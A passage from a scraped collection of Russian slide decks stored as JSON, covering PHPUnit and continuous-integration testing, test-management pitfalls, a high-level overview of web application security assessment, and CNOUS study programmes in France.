"description": "Результаты работы PHPUnit > phpunit WorldTest PHPUnit 3.2.10 by Sebastian Bergmann. F Time: 0 seconds There was 1 failure: 1) testWorldContainsACreature(WorldTest) Failed asserting that <integer:0> matches expected value <integer:1>. /home/dz/world/tests/WorldTest.php:24 FAILURES! Tests: 1, Failures: 1."
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img27.jpg",
"description": "Тест на PHPUnit public function testNewWorldIsEmpty() { // Добавим Солнце // см. #15 $this->world->addSun(); // Добавим планету с существом $this->world->addPlanet() ->addMonkey(); // ..."
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img28.jpg",
"description": "Результаты работы PHPUnit > phpunit WorldTest PHPUnit 3.2.10 by Sebastian Bergmann. . Time: 0 seconds OK (1 test)"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img29.jpg",
"description": "Белым по черному или альтернативное использование unit-тестирования, слайд №30"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img30.jpg",
"description": "PHPUnit простота обучения и простота написания"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img31.jpg",
"description": "PHPUnit изолированность и скорость выполнения"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img32.jpg",
"description": "PHPUnit PHP – это решение"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img33.jpg",
"description": "PHPUnit для разработчиков"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img34.jpg",
"description": "Белым по черному или альтернативное использование unit-тестирования, слайд №35"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img35.jpg",
"description": "Белым по черному THE END?"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img36.jpg",
"description": "PHPUnit и черные ящики веб-интерфейс"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img37.jpg",
"description": "Selenium Remote Control"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img38.jpg",
"description": "Selenium IDE"
},
{
"slide_number": "40",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img39.jpg",
"description": "PHPUnit + Selenium-RC огромные возможности"
},
{
"slide_number": "41",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img40.jpg",
"description": "PHPUnit и черные ящики блоки JavaScript"
},
{
"slide_number": "42",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img41.jpg",
"description": "JavaScript-блоки и PHPUnit"
},
{
"slide_number": "43",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img42.jpg",
"description": "Функциональное тестирование на PHPUnit"
},
{
"slide_number": "44",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img43.jpg",
"description": "Форматы данных XML HTML JavaScript text …"
},
{
"slide_number": "45",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img44.jpg",
"description": "Способы передачи данных сетевой запрос"
},
{
"slide_number": "46",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img45.jpg",
"description": "Способы передачи данных файлы"
},
{
"slide_number": "47",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img46.jpg",
"description": "Способы передачи данных база данных"
},
{
"slide_number": "48",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img47.jpg",
"description": "Функциональное тестирование на PHPUnit"
},
{
"slide_number": "49",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img48.jpg",
"description": "Белым по черному или альтернативное использование unit-тестирования, слайд №49"
},
{
"slide_number": "50",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img49.jpg",
"description": "Применение PHPUnit нагрузочное тестирование"
},
{
"slide_number": "51",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img50.jpg",
"description": "PHPUnit Контроль качества"
},
{
"slide_number": "52",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img51.jpg",
"description": "Мониторинг результатов тестирования системы непрерывной интеграции"
},
{
"slide_number": "53",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img52.jpg",
"description": "PHPUnit и непрерывная интеграция"
},
{
"slide_number": "54",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img53.jpg",
"description": "phpUnderControl"
},
{
"slide_number": "55",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img54.jpg",
"description": "Белым по черному или альтернативное использование unit-тестирования, слайд №55"
},
{
"slide_number": "56",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img55.jpg",
"description": "Непрерывная интеграция отчет должен формироваться быстро"
},
{
"slide_number": "57",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img56.jpg",
"description": "Контроль качества Мониторинг работы системы"
},
{
"slide_number": "58",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img57.jpg",
"description": "Мониторинг работы системы критически важный функционал"
},
{
"slide_number": "59",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img58.jpg",
"description": "Мониторинг работы системы запуск по расписанию"
},
{
"slide_number": "60",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img59.jpg",
"description": "Мониторинг работы системы графики zabbix"
},
{
"slide_number": "61",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img60.jpg",
"description": "Мониторинг работы системы e-mail sms …"
},
{
"slide_number": "62",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img61.jpg",
"description": "Белым по черному или альтернативное использование unit-тестирования, слайд №62"
},
{
"slide_number": "63",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img62.jpg",
"description": "СПАСИБО!"
},
{
"slide_number": "64",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img63.jpg",
"description": "Белым по черному Дмитрий Зенович [email protected]"
}
] |
https://mypresentation.ru/presentation/99592 | Управление тестированием. Анализ типичных проблем Александр Александров. УЦ Люксофт | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img0.jpg",
"description": "Управление тестированием. Анализ типичных проблем Александр Александров. УЦ Люксофт"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img1.jpg",
"description": "Немного о себе 1963-1999 –МГУ, НИВЦ (студент … старший научный сотрудник) 1999-2005 – Люксофт (руководитель группы тестирования, тест-менеджер) 2006-2007 – Аурига (директор по качеству) C 2008 – Люксофт (Учебный Центр, эксперт по управлению качеством ПО) К.ф.м.н., ст. научн. сотр., доцент Инструктор по тематике Quality Assurance, авторизованный университетом Carnegie Mellon"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img2.jpg",
"description": "Опыт работы Более 30 лет работы в области тестирования и обеспечения качества (МГУ, Люксофт, Auriga) Более 5 лет работы в области управления качеством (Люксофт, Auriga) Опыт внедрения процессов (Люксофт, Аурига) Опыт сертификации ISO 9001 (Люксофт), CMM, CMMI (Люксофт, Аурига)"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img3.jpg",
"description": "Подготовка проекта Неполная оценка трудозатрат Тестировщики не привлекаются ни к проведению оценки, ни к ревью получившейся оценки, ни к планированию проекта Недостаток ресурсов тестирования Привлекать тестировщиков для ревью трудозатрат Проводить независимую оценку трудозатрат тестирования (PCB/PPB, методики, литература)"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img4.jpg",
"description": "Подготовка проекта Неполнота объема тестирования Необоснованные предположения об отсутствии конкретных видов тестирования (нагрузочного, конфигурационного и др.) Отказ от системного тестирования (достаточно интеграционного и компонентного) Отказ от статического тестирования Необходимость перепланирования в условиях нехватки ресурсов Низкое качество объекта тестирования Проводить детальный анализ объема проекта Делать обоснованные предположения о наличии неявных требований, которые оказывают влияние на объем тестирования"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img5.jpg",
"description": "Стратегия тестирования Стратегия тестирования отсутствует / не поддерживается Отсутствие согласованного порядка подготовки и проведения тестирования в проекте Хаотичная передача версий на тестирование Нет базы тестирования Низкое качество тестирования Риск нехватки ресурсов тестирования Разрабатывать стратегию тестирования Согласовывать, утверждать и поддерживать стратегию тестирования"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img6.jpg",
"description": "Стратегия тестирования Критерии начала и завершения тестирования Отсутствуют критерии начала тестирования Отсутствие / Нечеткость классификации серьезности дефектов Нет понятия готовности объекта тестирования (модульное тестирование, BATS …) Коммуникационные проблемы с разработчиками (тестирование) и заказчиком (приемка) Разработать однозначные критерии начала и завершения тестирования для каждого этапа проекта"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img7.jpg",
"description": "Стратегия тестирования Особенности объекта тестирования Не учитываются особенности объекта тестирования (например, отсутствие пользовательского интерфейса, необходимость специальной среды тестирования) Нехватка (специально подготовленных) ресурсов тестирования Неадекватная среда тестирования Низкое качество тестирования Совместно с менеджером проекта анализировать особенности объекта тестирования и отражать принятые решения в стратегии тестирования"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img8.jpg",
"description": "Анализ требований Требования анализируются и разрабатываются без участия тестировщиков Участвуют только аналитики и разработчики Тестировщики привлекаются после утверждения первой версии требований Тестировщики плохо знают предметную область Приложение готово, план тестирования – нет Часть требований нельзя протестировать Проводить ревью требований тестировщиками Обучать тестировщиков предметной области проекта в рамках обучения проектной команды Выполнять анализ тестируемости требований до их утверждения"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img9.jpg",
"description": "Анализ требований Требования изменяются без участия тестировщиков Тестировщики плохо знают предметную область проекта Приложение готово, план тестирования не актуален Неверные результаты тестирования (большое количество ложных дефектов, непротестированные области) Часть требований нельзя протестировать Информировать тестировщиков об изменениях требований Привлекать тестировщиков к обсуждению и планированию работ по изменению требований"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img10.jpg",
"description": "Анализ требований Требования постоянно изменяются Абсолютно нормальная ситуация Имеется в виду отсутствие документально зафиксированных требований и их изменений Невозможность проведения тестирования по плану Невозможность адекватной оценки качества объекта тестирования Провести анализ способа представления требований и существующих их изменений Разработать планы тестирования на основе существующего представления требований Поддерживать актуальность версий планов тестирования"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img11.jpg",
"description": "Анализ требований Нет аналитика – некому поддерживать требования Или «Требования поддерживают все» Разница между ролью и ресурсом Невозможность создания актуального плана тестирования Невозможность адекватной оценки качества объекта тестирования Предусмотреть в плане-графике работы по сбору, анализу и поддержанию требований Наделить конкретный проектный ресурс ролью аналитика"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img12.jpg",
"description": "План тестирования Ревью плана тестирования не планируется и/или не проводится Считается затратным и неэффективным Нет требуемых ресурсов План тестирования не готов к сроку ревью План тестирования содержит дефекты Про эти дефекты никто не знает Они обнаруживаются при тестировании (хорошо, если это так) Планировать и проводить ревью плана тестирования аналитиками Планировать и проводить ревью требований тестировщиками"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img13.jpg",
"description": "План тестирования Тестовые сценарии не содержат деталей Конкретные действия тестировщика придумываются во время тестирования Затраты на воспроизведение действий при воспроизведении дефекта Низкое качество тестирования из-за неполного набора действий Невозможность проверки степени покрытия пользовательского интерфейса Зафиксировать требуемый уровень детальности в стратегии тестирования Проектировать и разрабатывать планы тестирования с учетом этого уровня детальности"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img14.jpg",
"description": "План тестирования Тестовые сценарии содержат детали Изменение требований/дизайна вызывает объемные изменения планов тестирования Затраты на обеспечение актуальности планов тестирования Затраты на переучивание тестировщиков Зафиксировать требуемый уровень детальности в стратегии тестирования Проектировать и разрабатывать планы тестирования с учетом этого уровня детальности Использовать двухуровневую структуру плана тестирования – тестовые сценарии + тесты"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img15.jpg",
"description": "План тестирования Проектирование и разработка тестовых данных не планируется и не производится Данные придумываются во время тестирования Данных недостаточно (например, используются только корректные данные) Тестирование миграции без проектирования тестовых данных невозможно Затраты на воспроизведение данных при воспроизведении дефекта Низкое качество тестирования из-за малого набора тестовых данных Проектировать и разрабатывать тестовые данные с использованием классов эквивалентности и граничных значений"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img16.jpg",
"description": "Автоматизация тестирования Раннее проведение нагрузочного тестирования Исправление дефектов (как функциональных, так и производительности) как правило, вызывает перезапись и повторный прогон нагрузочных скриптов Но: нагрузочное тестирование прототипа Необходимость выделения ресурсов для повторного проведения нагрузочного тестирования Детальное планирование момента проведения нагрузочного тестирования"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img17.jpg",
"description": "Автоматизация тестирования Неадекватная модель нагрузки Совокупность: ролей (кто работает в системе) характеристических сценариев (какие действия производит в системе) профилей (доля и частота) Модель нагрузки не соответствует бизнесу заказчика Неадекватные результаты тестирования Несоответствие ожиданиям заказчика Согласование модели нагрузки с заказчиком"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img18.jpg",
"description": "Среда тестирования Тестирование выполняется в среде разработки Путаница версий Нестабильность объекта тестирования (исправления «на лету») Невозможность обнаружения части дефектов Низкое качество тестирования Сложность коммуникаций с разработчиками (невозможность воспроизвести дефект) Создание обособленной среды тестирования Сборка объекта тестирования из baseline"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img19.jpg",
"description": "Среда тестирования Одна и та же среда тестирования для нескольких проектов Нестабильность - влияние других проектов Невозможность обнаружения части дефектов Неверные результаты нагрузочного тестирования Низкое качество тестирования Сложность коммуникаций с разработчиками (невозможность воспроизвести дефект) Создание обособленной среды тестирования Управление использованием среды тестирования для отдельных проектов"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img20.jpg",
"description": "Проведение тестирования Дефекты, найденные вне плана тестирования, не приводят к его корректировке Сложности их повторной проверки Можно забыть, что такие дефекты были найдены Низкое качество регрессионного тестирования Повышенные требования к квалификации тестировщиков Регулярный анализ необходимости и проведение корректировки плана тестирования"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img21.jpg",
"description": "Проведение тестирования Невозможно идентифицировать версию объекта тестирования Неясно, был ли обновлен объект тестирования Невразумительные сведения в системе управления дефектами – дефект найден и исправлен в одной и той же версии объекта тестирования Недостоверная статистика по дефектам Невозможно понять, например, обнаружен дефект или нереализованная функциональность Соглашение об идентификации версий Разработка и применение BATS (Build Acceptance Test Suite)"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img22.jpg",
"description": "Сдача проекта Не согласована процедура приемки Что предшествует и что следует за приемо-сдаточными испытаниями Каковы ожидания заказчика на момент приемки Кто принимает решение об успешном завершении проекта со стороны заказчика Проблемы во время приемки Задержка сдачи проекта и работа без оплаты заказчиком Планирование и согласование процедуры приемки (включая приемо-сдаточные испытания)"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img23.jpg",
"description": "Подробнее … Подготовка проекта TST-006 – Управление тестированием на примере реальных проектов Стратегия тестирования TST-004 – Управление тестированием TST-005 – Управление тестированием, углубленный курс TST-027 – Тестирование в Agile проектах Анализ требований TST-010 – Основы тест-дизайна TST-016 – Тест-дизайн, практические рекомендации"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img24.jpg",
"description": "Подробнее … Дизайн TST-016 – Тест-дизайн, практические рекомендации TST-019 – Тестирование Usability TST-020 – Тестирование Web-приложений План тестирования TST-016 – Тест-дизайн, практические рекомендации TST-022 – Статическое тестирование на практике"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img25.jpg",
"description": "Подробнее … Автоматизация тестирования TST-012 – Основы автоматизированного тестирования … Тренинги по конкретным инструментам Семейство Mercury Семейство Rational и IBM Rational Семейство Silk TestComplete FIT …"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img26.jpg",
"description": "Подробнее … Среда тестирования TST-004 – Основы управления тестированием Тестирование TST-001 – Основы тестирования TST-014 – Основы практического тестирования TST-052 – Практикум по использованию Rational Clear Quest Приемка TST-004 – Основы управления тестированием TST-006 – Управление тестированием на примере реальных проектов"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/580fa1e685dd1bd8175ad86edab725ba/img27.jpg",
"description": "Спасибо за внимание! Вопросы?"
}
] |
https://mypresentation.ru/presentation/99593 | Оценка защищенности Web-приложений Сергей Гордейчик Positive Technologies | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img0.jpg",
"description": "Оценка защищенности Web-приложений Сергей Гордейчик Positive Technologies"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img1.jpg",
"description": "О чем пойдет речь Насколько уязвимы Web-приложения? Что такое «безопасное приложение»? Методики и подходы Критерии качества"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img2.jpg",
"description": "Уязвимости Web-приложений Мировая статистика Mitre: более четверти уязвимостей, обнаруженных в 2006 году приходится на Web-приложения [1]. Symantec «Internet Security Threat Report»: до 70% уязвимостей, используемых злоумышленниками, связаны с Web-приложениями [2]. Web Application Security Consortiums: 70% приложений имеют проблемы с безопасностью [3]. Российская действительность До 65% Web-приложении содержат уязвимости высокой степени риска [4]. [1] http://cwe.mitre.org/documents/vuln-trends.html [2] http://www.symantec.com/specprog/threatreport/ent-whitepaper_symantec_internet_security_threat_report_x_09_2006.en-us.pdf [3] http://www.webappsec.org/projects/threat/ [4] http://www.ptsecurity.ru/stat2007.asp"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img3.jpg",
"description": "Уязвимости Web-приложений"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img4.jpg",
"description": "Подходы к защите Выработка и контроль требований по безопасности приложений учитывающих качество реализации Элемент Secure SDLC Крайне ресурсоемкое решение Тяжело интегрируется во многие модели разработки «Оценка защищенности», «тесты на проникновение» и т.д. Уязвимости обнаруживаются после «сдачи» приложения Зачастую уязвимости не устраняются (15% уязвимостей были обнаружены повторно) Может быть весьма ресурсоемким решением (особенно в случае анализа кода) Сканеры уязвимостей Достаточно бюджетное решение Позволяют обнаруживать до 70% уязвимостей (по отношению к Pentest) Многие типы уязвимостей (особенно связанные с бизнес-логикой) не могут быть найдены сканером Web Application Firewall Бюджетное решение Весьма «капризно» в настройке Низкая эффективность Качество реализации защитных механизмов «непрозрачно»"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img5.jpg",
"description": "«Безопасное»??? Что такое безопасное Web-приложение???"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img6.jpg",
"description": "«Безопасное»??? Проектирование («Фичесет») ГОСТ Р ИСО/МЭК 15408 (Common Criteria) набор функций безопасности (аутентификация, аудит и т.д.) Реализация и поддержка OWASP top 10 http://www.owasp.org/index.php/OWASP_Top_Ten_Project Web Security Threat Classification http://www.webappsec.org/projects/threat/"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img7.jpg",
"description": "OWASP vs WSTC OWASP top 10 http://www.owasp.org/index.php/OWASP_Top_Ten_Project Поддерживается (последняя версия 2007 года) Только 10 уязвимостей Web Security Threat Classification http://www.webappsec.org/projects/threat/ Текущая версия 1 – 2004/2004 год Готовится к выходу 2 версия"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img8.jpg",
"description": "WSTC v 2.0"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img9.jpg",
"description": "Методы и подходы"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img10.jpg",
"description": "Анализ спецификации"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img11.jpg",
"description": "Тестирование функций"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img12.jpg",
"description": "Тестирование функций"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img13.jpg",
"description": "Fuzzing"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img14.jpg",
"description": "Fuzzing"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img15.jpg",
"description": "Анализ исходного кода"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img16.jpg",
"description": "Статический vs Динамический"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img17.jpg",
"description": "Анализ исходного кода"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img18.jpg",
"description": "Качество качества?"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img19.jpg",
"description": "Резюме"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/a083820367b6a257baa84e5d7ad4c7af/img20.jpg",
"description": "Вопросы?"
}
] |
https://mypresentation.ru/presentation/99594 | Учиться во Франции с Центром CNOUS Высшее образование во Франции Службы CNOUS и CROUS Стипендиальные программы в Казахстане Сеть по при | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img0.jpg",
"description": "Учиться во Франции с Центром CNOUS Высшее образование во Франции Службы CNOUS и CROUS Стипендиальные программы в Казахстане Сеть по приему и сопровождению студентов и международный обмен"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img1.jpg",
"description": "Учиться во Франции с Центром CNOUS Высшее образование во Франции Службы CNOUS и CROUS Стипендиальные программы в Казахстане Сеть по при, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img2.jpg",
"description": "Расходы государства : 21,5 млрд € (2007) +33% расходов на образование в период 1980-2005 Примерная стоимость 1 года обучения / 1 студент : 9370 € Государство финансирует 76% от стоимости обучения, семьи : 9.4 % Стоимость записи в университет : Бакалавриат : 171 € Магистратура : 231 € Докторантура : 350 € Ветеринарные школы : 1600 €"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img3.jpg",
"description": "Среднемесячный бюджет"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img4.jpg",
"description": "Службы CNOUS 2 261 000 студентов, из которых 1 700 000 в университетах. 265 000 иностранных студентов (в 2007). 500 000 стипендиатов. 155 000 мест в университетских кампусах (от 80 до 350 Евро/месяц – помощь в оплате за проживание) 55,1 млн. блюд, приготовленных в 800 университетских ресторанах и кафетериях (Стоимость : 2,95 Евро, оплата государством : 40%)"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img5.jpg",
"description": "Миссия CNOUS : Миссия CNOUS : Прием иностранных студентов Проживание студентов Вопросы по питанию студентов Стипендии и социальная поддержка, культурная деятельность"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img6.jpg",
"description": "В 2008г более 15 000 иностранных студентов из 142 стран по 150 соглашениям В 2008г более 15 000 иностранных студентов из 142 стран по 150 соглашениям"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img7.jpg",
"description": "Нам доверяют: Нам доверяют: Правительство Алжира ; Правительство Сирии ; Правительство Китая ; Правительство Габона ; Правительство Таиланда Министерство Образования Мексики ; Министерство Высшего Образования России ; Министерство Образования Вьетнама ; Институт Открытого Общества – фонд СОРОС ; Центр международных программ – фонд Болашак в Казахстане ; Французско-китайский фонд Наук и их применения ; Международное агентство Франкофонии ; французские компании : Total, Bouygues, Peugeot, Unilever, Air France-KLM, ..."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img8.jpg",
"description": "Представительства CNOUS Сеть, представленная повсеместно во Франции, в 183 крупных университетских городах, состоит из 1 национального и 28 региональных центров (CROUS)"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img9.jpg",
"description": "С 1964 года CNOUS каждый год организует прием и пребывание 15 000 студентов. С 1964 года CNOUS каждый год организует прием и пребывание 15 000 студентов. До отъезда во Францию : запись студентов в университеты и высшие школы Распространение брошюры : Je vais en France, FAQ http://www.cnous.fr/_cnous_274.htm http://www.cnous.fr/doc/faq_fr.pdf Прием новых стипендиатов в аэропорту Roissy Paris-Charles de Gaulle В каждом CROUS прием и управление делами иностранных стипендиатов предусматривает работу с каждым студентом индивидуально. Представительство CampusFrance в CROUS для приема и поддержки иностранных студентов."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img10.jpg",
"description": "Проживание студента в университетской резиденции: Проживание студента в университетской резиденции: комната 9 кв.м или комната (студия) 20кв.м, стоимость между 115 € и 300 € Трудность в поиске жилья в Париже, но не в других городах . 25% комнат зарезервированы для стипендиатов CNOUS 260 000 иностранных студентов, из которых 35 000 размещены центром CROUS (24% мест)"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img11.jpg",
"description": "Учиться во Франции с Центром CNOUS Высшее образование во Франции Службы CNOUS и CROUS Стипендиальные программы в Казахстане Сеть по при, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img12.jpg",
"description": "Стоимость питания - 2,90 € (40% оплачено государством) Стоимость питания - 2,90 € (40% оплачено государством) Самообслуживание : 1 блюдо, 3 закуски (салат, десерт и т.д.) Гигиенические нормативы Разнообразное меню, биологически чистые продукты, вегетарианская кухня Кафетерии в университетах"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img13.jpg",
"description": "CROUS облегчает для всех стипендиатов : CROUS облегчает для всех стипендиатов : Получение Вида на жительство в Префектуре; Оплата социального страхования (медицинская страховка); Возможность получения социального пособия для покрытия расходов при оплате за жилье от CAF; Оплата за запись в университет; Выплата стипендии за 1 месяц, а затем ее перечисление на банковский счет студента во Франции."
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img14.jpg",
"description": "2 раза в год CNOUS передает данные об успеваемости студента казахстанским партнерам и в Посольство Франции в Казахстане 2 раза в год CNOUS передает данные об успеваемости студента казахстанским партнерам и в Посольство Франции в Казахстане Частная помощь (французский язык, методология, интернет) может быть предложена некоторым студентам"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img15.jpg",
